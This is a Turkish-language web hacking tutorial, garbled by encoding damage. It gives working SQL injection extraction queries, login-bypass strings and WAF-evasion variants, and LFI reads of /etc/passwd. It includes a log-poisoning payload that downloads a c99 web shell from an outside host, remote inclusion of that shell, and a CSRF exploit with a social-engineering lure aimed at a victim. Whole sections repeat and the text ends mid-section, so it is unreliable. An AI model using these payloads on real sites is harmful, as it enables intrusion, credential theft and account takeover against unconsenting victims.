wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
